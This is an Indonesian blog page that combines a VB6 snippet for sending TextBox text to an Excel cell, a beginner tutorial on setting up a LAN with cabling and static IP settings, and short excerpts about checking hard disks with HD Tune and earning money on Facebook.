- Hasil pengaturan lihat gambar hasil program (di bagian
bawah postingan ini
- Pada Jendela Kode ketikkan kode berikut ini:
Kode:
Dim Transfer As Excel.Application
-------------------------------------------------------
Private Sub CB1_Click()
Transfer.Workbooks.Add
Transfer.Range(T1.Text).Value = T2.Text
Transfer.Visible = True
End Sub
-------------------------------------------------------
Private Sub Form_Load()
Set Transfer =
CreateObject("excel.application")
End Sub
-------------------------------------------------------
Private Sub Form_Unload(Cancel As Integer)
Transfer.Quit
End Sub
- Setelah Run Program, maka hasilnya akan seperti ini:
- Kotak pendek (TextBox T1) merupakan tempat mengetikkan
baris dan kolom yang akan di tuju di sheet Excel. Sedangkan kotak panjang
(TextBox T2) tempat mengetikkan teks.
- Data akan berpindah setelah Transfer Data Ke Excel di
klik
- Selamat Mencoba.......
Tutorial Cara Membuat Jaringan Komputer LAN
Tutorial Cara Membuat Jaringan Komputer LAN- Tutorial Cara Membuat Jaringan Komputer LAN secara sederhana dan mudah dipahami. Bisa dijadikan sebagai referensi untuk para pelajar yang akan mengikuti uji komptensi jaringan komputer. LAN dapat definisikan sebagai network atau jaringan sejumlah sistem komputer yang lokasinya terbatas didalam satu gedung, satu kompleks gedung atau suatu kampus dan tidak menggunakan media fasilitas komunikasi umum seperti telepon, melainkan pemilik dan pengelola media komunikasinya adalah pemilik LAN itu sendiri. Kesimpulan dari definis di atas adalah bahwa LAN adalah jaringan dari sejumlah komputer yang dapat saling berhubungna namun dibatasi oleh lokasi jarak terterntu. Kalau masalah fungsi sudah pasti, jarigan LAN berfungsi agar komputer dapat terhubung antara satu komputer dengan komputer yang lain sehingga bisa bertukar data dan berbagi pakai perangkat keras yang lain. Untuk membuat sebuah jaringan LAN ada material yang kita butuhkan. Berikut Peralatan atau material yang dibutuhkan untuk membuat sebuah jaringan komputer LAN: 1. Dua atau lebih PC 2. Network Card sesuai dg jumlah PC 3. Kabel coaxial atau UTP 4. Hub bila diperlukan 5. Terminator 6. T-Connector Langkah-langkah Membuat Jaringan Komputer LAN: 1. Sebelumnya anda harus mengetahui dahulu tipe jaringan yang ingin anda gunakan.untuk mengetahui tipe-tipe jaringan komputer silakan anda buka artike saya terdahulu Mengenal Macam-Macam Topologi Jaringan. 2. Pasanglah kabel dan network card. Pemasangan kabel disesuaikan dengan topologi/tipe jaringan yang anda pilih sedangkan pemilihan network card disesuaikan dengan slot yang ada pada motherboard anda. Bila board anda punya slot PCI maka itu lebih baik karena LAN card berbasis PCI bus lebih cepat dalam transfer data. 3. Bila anda menggunakan tipe bus maka pada masing-masing komputer harus anda pasang T-Connector yang memiliki dua input. Dan pada komputer yang hanya mendapat 1 input pada input kedua harus dipasang terminator kecuali bila anda membuat jaringan berbentuk circle(lingkaran) dimana semua komputer mendapat 2 input. Misalnya komp1,komp2,komp3 berjajar maka t-conncector pada komp1 dipasang terminator dan kabel ke komp2. Pada komp2 dipasang kabel dr komp1 dan kabel ke komp3. Sedangkan komp3 dipasang kabel dr komp2 dan terminator. 4. Bila anda memilih tipe star maka masing-masing kabel dari komputer dimasukkan ke dalam port yang tersedia di hub. Dan bila anda ingin menghubungkan hub ini ke hub lainnya anda gunakan kabel UTP yang dimasukkan ke port khusus yang ada pada masing-masing hub. Langkah selanjutnya dadalah sebagai berikut : Pilih Sistem Operasi yang sesuai, Mis : Windows atau Linux Persiapkan Komputer Server yang memadai, sesuai dengan jumlah klien. Pilih Jenis Jaringan, Mis: Jaringan Kabel atau Wireless. Alat – Alat yang dibutuhkan dalam membuat jaringan LAN : 1. PC Server 2. OS (Operating System) 3. Lan Card (untuk jaringan kabel) atau Card WLAN (U/ Wireless) 4. Kabel UTP Cat 5 (u/ jaringan Kabel) 5. Access Point (U/ Jaringan Wireless) 6. Switch atau Hub (u/ Jaringan Kabel) 7. RJ 45 (u/ jaringan kabel) 8. Pemotong kabel / Crimping Tool (u/ jaringan Kabel) 9. Tester kabel (u/ Jaringan Kabel) Langkah terakhir adalah setting control panel network conection 1. Setting network connection di controlpanel>networkConection 2. Klik kanan local Area Conection pilih properties 3. Pilih TAB General pilih internet protocol (TCP/IP) pilih prporties 4. Pilih use the following Ip adress 5. Masukan IPadress : 192.168.0.1 subnet mask : 255.255.255.0 6. pilih OK 7. Klik kanan mycomputer pilih properties 8. pilih TAB ‘Computer Name’ pilih tombol ‘change’ 9. di member of pilih ‘workgorup’isi apasaja misal ‘SEMICO’ 10. Isi ‘Computer Name’ apasaja misal ‘User 1′ 11. Pilih ‘OK’ atomatis windows merestart 12. Lakukan hal demikian di komputer lain dengan syarat ‘Computer Name’ harus berbeda dan Ip address harus berbeda yang lainya harus sama, misal dikomputer lain ‘computer name’ di isi ‘user 2′ dan ip addressnya : 198.168.0.2 untuk ip adress yang harus berbeda cuma digit terakhir yang lainya harus sama. Digit terakhir pada nomor IP address yaitu nomor untuk mengidentifikasi alama sebuah komputer. Dapatkan panduan lebih lengkapnya tentang membuat, menganalisa dan troubleshooting jaringan komputer di http://u3ewk.cjb.net/
Sumber : http://fadhilgalery.blogspot.com/2012/01/tutorial-cara-membuat-jaringan-komputer.html
Copyright http://fadhilgalery.blogspot.com/
Jumat, 14 Desember 2012
Memeriksa Kondisi Hardisk dengan Aplikasi HD Tune
REZA FAHLEVY di REZA FAHLEVY - 4 jam yang lalu
Hardisk merupakan komponen yang harus mendapat perhatian lebih pada sistem komputer. Baik atau buruknya kinerja hardisk akan sangat mempengaruhi performance komputer secara keseluruhan. Dalam artikel ini saya akan men-* share *tentang cara memeriksa kondisi hardisk komputer menggunakan aplikasi HD Tune Hardisk Utility. Aplikasi HD Tune dapat Anda download dari situsnya di www.hdtune.com. [image: Hardisk Drive Checker] Pada aplikasi HD Tune ini terdapat 4 menu utama yang dapat kita gunakan untuk memeriksa kondisi hardisk, yaitu: 1. Benchmark, digunakan untuk mengukur kinerja har.
Cara Mendapatkan Uang Dari Facebook
Sudah bukan rahasia lagi bahwa facebook adalah situs jejaring sosial yang paling populer didunia, sampai-sampai dari kekuatan facebook ini dapat mempengaruhi orang-orang yang sedang bekerja atau sekolah untuk membuka situs ini hanya sekedar buat update status seperti "Dasar Bos Kampret!!" atau "nih dosen lagi ngajar atau stand up comedy?"
atau cuma untuk like status mantan *(nah kalo ini sepertinya siapa ya...????),
begitulah realita facebook cari teman dan berbisnis bisa kita lakukan disini.
okelah tak perlu berlama2 lagi, kita bahas Cara Dapat Uang Dari Facebook, cara ini memang tidak mudah, tidak seperti membalikan telapak tangan, yang kita butuhkan adalah niat dan usaha karena tanpa itu hasil kita akan jadi sia-sia
Langganan:
Postingan (Atom)